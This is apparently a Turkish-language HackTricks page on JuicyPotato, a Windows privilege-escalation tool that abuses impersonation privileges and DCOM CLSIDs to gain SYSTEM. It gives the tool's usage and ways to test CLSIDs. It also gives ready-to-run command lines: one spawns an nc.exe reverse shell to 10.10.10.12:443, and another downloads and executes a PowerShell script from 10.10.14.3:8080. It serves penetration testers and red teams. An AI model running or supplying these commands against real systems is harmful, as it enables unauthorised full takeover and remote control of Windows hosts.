JuicyPotato

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

JuicyPotato, Windows Server 2019 ve Windows 10 build 1809 ve sonrasında çalışmaz. Ancak, PrintSpoofer, RoguePotato, SharpEfsPotato ile aynı ayrıcalıkları kullanarak NT AUTHORITY\SYSTEM düzeyinde erişim elde edebilirsiniz. Kontrol Et:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (altın ayrıcalıkları kötüye kullanma)

RottenPotatoNG sürümünün şekerli bir versiyonu, biraz meyve suyu ile, yani Windows Servis Hesaplarından NT AUTHORITY\SYSTEM düzeyine başka bir Yerel Ayrıcalık Yükseltme aracı.

Juicypotato'yu https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts adresinden indirebilirsiniz.

Özet

Juicy-potato Readme'den:

RottenPotatoNG ve onun varyantları, BITS servisine dayanan ayrıcalık yükseltme zincirini kullanır ve 127.0.0.1:6666 üzerinde MiTM dinleyicisi vardır ve SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, BITS'in kasıtlı olarak devre dışı bırakıldığı ve 6666 portunun alındığı bir kurulum bulduk.

RottenPotatoNG'yi silahlandırmaya karar verdik: Juicy Potato'ya merhaba deyin.

Teori için, Rotten Potato - Servis Hesaplarından SYSTEM'e Ayrıcalık Yükseltme sayfasını inceleyin ve bağlantılar ve referanslar zincirini takip edin.

BITS dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece:

  1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "servis kullanıcısı"

  2. IMarshal arayüzünü uygulaması

  3. yükseltilmiş bir kullanıcı (SYSTEM, Administrator, …) olarak çalışması gerekir.

Biraz test yaptıktan sonra, birkaç Windows sürümünde ilginç CLSID'lerin kapsamlı bir listesini elde ettik ve test ettik.

Juicy detaylar

JuicyPotato, size şunları sağlar:

  • Hedef CLSID istediğiniz herhangi bir CLSID'yi seçin. Burada işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz.

  • COM Dinleme portu tercih ettiğiniz COM dinleme portunu tanımlayın (hardcoded 6666 yerine)

  • COM Dinleme IP adresi sunucuyu herhangi bir IP'ye bağlayın

  • İşlem oluşturma modu taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şunlardan birini seçebilirsiniz:

  • CreateProcessWithToken (gerekli SeImpersonate)

  • CreateProcessAsUser (gerekli SeAssignPrimaryToken)

  • her ikisi de

  • Başlatılacak işlem sömürü başarılı olursa bir yürütülebilir dosya veya betik başlatın

  • İşlem Argümanı başlatılan işlem argümanlarını özelleştirin

  • RPC Sunucu adresi gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz

  • RPC Sunucu portu harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve güvenlik duvarı 135 portunu engelliyorsa…

  • TEST modu _temelde test amaçlıdır, yani CLSID'leri test etmek için. DCOM oluşturur ve token kullanıcısını yazdırır. _test için buraya bakın

Kullanım

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

From juicy-potato Readme:

Eğer kullanıcının SeImpersonate veya SeAssignPrimaryToken ayrıcalıkları varsa, o zaman SYSTEM'siniz.

Tüm bu COM Sunucularının kötüye kullanımını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini DCOMCNFG aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak.

Gerçek çözüm, * SERVICE hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. DCOM'u durdurmak kesinlikle bu istismarı engelleyecektir ancak temel işletim sistemi üzerinde ciddi bir etki yaratabilir.

From: http://ohpe.it/juicy-potato/

Examples

Note: Visit this page for a list of CLSIDs to try.

Get a nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Yeni bir CMD başlatın (eğer RDP erişiminiz varsa)

CLSID Problemleri

Çoğu zaman, JuicyPotato'nun kullandığı varsayılan CLSID çalışmaz ve exploit başarısız olur. Genellikle, çalışan bir CLSID bulmak için birden fazla deneme gerekir. Belirli bir işletim sistemi için denemek üzere CLSID'lerin bir listesini almak için bu sayfayı ziyaret etmelisiniz:

CLSID'leri Kontrol Etme

Öncelikle, juicypotato.exe dışında bazı çalıştırılabilir dosyalara ihtiyacınız olacak.

Join-Object.ps1 dosyasını indirin ve PS oturumunuza yükleyin, ardından GetCLSID.ps1 dosyasını indirin ve çalıştırın. Bu script, test edilecek olası CLSID'lerin bir listesini oluşturacaktır.

Sonra test_clsid.bat dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyası için yolu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacaktır ve port numarası değiştiğinde, bu CLSID'nin çalıştığı anlamına gelecektir.

Çalışan CLSID'leri -c parametresini kullanarak kontrol edin

Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated